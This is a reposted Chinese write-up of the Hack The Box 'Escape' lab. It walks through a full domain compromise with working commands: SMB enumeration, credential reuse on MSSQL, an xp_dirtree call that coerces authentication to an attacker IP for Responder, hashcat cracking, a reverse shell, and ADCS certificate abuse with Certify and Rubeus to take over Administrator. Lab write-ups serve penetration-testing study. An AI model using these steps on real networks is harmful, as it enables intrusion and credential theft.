跟着大佬学渗透之高级篇02

admin 2024年2月29日09:34:42评论6 views字数 2640阅读8分48秒阅读模式

前言

今天的靶机依然是HTB(Hack The Box)的靶机-- Escape,这是一台中等难度的域靶机,这个靶机会涉及一些Ldap、mssql、ADCS等相关的知识点,体验下来,难度还是有点偏高的。

开干:

1、环境准备

  • HTB的靶机

跟着大佬学渗透之高级篇02

2、扫描开放端口

nmap命令扫描开放端口

跟着大佬学渗透之高级篇02

列举几个比较重要的端口:135、593(RPC),139、445(SMB),636、3268、3289(Ldap),1433(mssql)

3、寻找漏洞尝试利用

ldap这个服务是之前靶机训练中没有遇见过的,我们可以尝试使用ldapsearch命令去匿名搜索sequel.htb域中的目录对象。

完整命令如下:

ldapsearch -x -H ldap://10.129.xxx.xxx -D '' -w '' -b 'DC=sequel,DC=htb'

跟着大佬学渗透之高级篇02

报错了,匿名用户应该没有权限,接下来尝试对其他端口进行信息收集。smbclient 列出smb服务器上共享的内容,命令如下:smbclient -L //10.129.xxx.xxx/跟着大佬学渗透之高级篇02

打开public的共享目录

跟着大佬学渗透之高级篇02

发现了一个pdf文件,mget 将文件下载到本地。

打开该PDF:

跟着大佬学渗透之高级篇02

pdf中提到,对于新用户和仍在等待创建用户并分配许可证的用户,可以使用用户名: PublicUser和密码: GuestUserCantWrite1偷看一下数据库。

接下来使用用户名: PublicUser密码: GuestUserCantWrite1 去登录下sql server,命令如下:

mssqlclient.py PublicUser:[email protected]

跟着大佬学渗透之高级篇02

查看有哪些数据库,有没有敏感信息

跟着大佬学渗透之高级篇02

看看能不能用xp_cmdshell执行命令,发现没有权限

跟着大佬学渗透之高级篇02

接下来尝试用xp_dirtree存储过程获取运行mssql服务的用户NTLM的hash值,原理是通过LLMNR/NBT-NS欺骗攻击,让MSSQL去访问我们伪造的服务,当MSSQL去执行时就会把它自己的凭证发给我们

先在kali上启用responder

跟着大佬学渗透之高级篇02

靶机中执行 EXEC xp_dirtree '\10.10.14.8share', 1, 1 向kali发出连接请求跟着大佬学渗透之高级篇02

跟着大佬学渗透之高级篇02

如上图,获取了sql_svc用户的NTLMv2 hash,接下来用hashcat爆破出密码,先去查找hash type

跟着大佬学渗透之高级篇02

hashcat -m 5600 -a 0 hash.txt rockyou.txt

hashcat 爆出密码:

跟着大佬学渗透之高级篇02

得到用户 sql_svc 密码为 REGGIE1234ronnie

尝试用该用户名密码登录靶机,最终用evil-winrm登录成功:

跟着大佬学渗透之高级篇02

sql_svc 这个用户底下并未找到Flag,另一个用户Ryan.Cooper也没有权限进去:

跟着大佬学渗透之高级篇02

接下来就查找本地文件,在C:SQLServerLogs目录下,发现一个ERRORLOG.BAK文件

跟着大佬学渗透之高级篇02

查看该文件,发现一条登录失败的信息,提示"NuclearMosquito3"用户登录失败,这个字符串就很像密码的样子。

跟着大佬学渗透之高级篇02

尝试用 Ryan.Cooper:NuclearMosquito3登录


跟着大佬学渗透之高级篇02


读取用户flag

跟着大佬学渗透之高级篇02


4、提权

尝试用这个用户登录mssql,登录失败:

跟着大佬学渗透之高级篇02

接下来上传一个反弹shell.exe和winpeas.exe,用反弹出来的shell执行winpeas(防止卡顿)。

跟着大佬学渗透之高级篇02

可惜并未发现什么对提权有用的信息。接下来的思路就是枚举下AD(Active Directory)证书服务(ADCS),

使用Ghost-Pack附带的Certify来枚举易受攻击的证书,工具下载地址:

https://github.com/GhostPack/Certify

将certify.exe传输到靶机上

跟着大佬学渗透之高级篇02

运行以下命令来查找可以利用的易受攻击的证书模板

.Certify.exe find /vulnerable

跟着大佬学渗透之高级篇02


跟着大佬学渗透之高级篇02


需要我们关注的信息有:

1、模板名称,这边的模板名称为UserAuthentication,表明它可用于Kerberos或Ldap对用户进行身份验证。

2、权限,可以sequelDomain Users拥有证书的注册权限,Ryan是域用户,接下来可以使用他的账户。

3、msPKI-Certificate-Name-Flag:它提到“ENROLLEE SUPPLIES SUBJECT”,这意味着我们可以向证书模板提供主题。在这种情况下,我们将添加主题“altname”,代表管理员获取证书,稍后再使用该证书以管理员身份进行身份验证。


运行以下命令获取证书:

.certify.exe request /ca:dc.sequel.htbsequel-DC-CA /template:UserAuthentication /altname:Administrator

跟着大佬学渗透之高级篇02

将"-----BEGIN RSA PRIVATE KEY-----"到"-----END CERTIFICATE-----"保存为cert.pem文件。

接下来使用openssl命令,以.pfx格式导出证书。命令如下:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

跟着大佬学渗透之高级篇02

要求输入密码就输空密码

接下来往靶机中上传cert.pfx文件和Rubeus.exe,运行asktgt命令,向其传递证书,获取TGT。

Rubeus.exe工具下载地址:https://github.com/Flangvik/SharpCollection

命令如下:

.Rubeus.exe asktgt /user:administrator /certificate:C:UsersRyan.CooperDocumentscert.pfx /getcredentials /show /nowrap

跟着大佬学渗透之高级篇02


跟着大佬学渗透之高级篇02


最后一行就是管理员的NTLM hash,接下来用管理员的NTLM hash登录管理员账户:

跟着大佬学渗透之高级篇02


读取flag

跟着大佬学渗透之高级篇02


5、总结

这个靶机的思路,先smbclient查看共享目录,发现一个PublicUser,登录mssql后,无法使用xp_cmdshell情况下,采用xp_dirtree存储过程获取运行mssql服务的用户NTLM的hash,拿到用户sql_svc的shell,然后查看本地文件,拿到用户Ryan的shell,最后通过adcs攻击提权。

这个靶机还可以通过另一条路去提权,大家可以去尝试尝试。

原文始发于微信公众号(从黑客到保安):跟着大佬学渗透之高级篇02

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月29日09:34:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   跟着大佬学渗透之高级篇02https://cn-sec.com/archives/2535285.html

发表评论

匿名网友 填写信息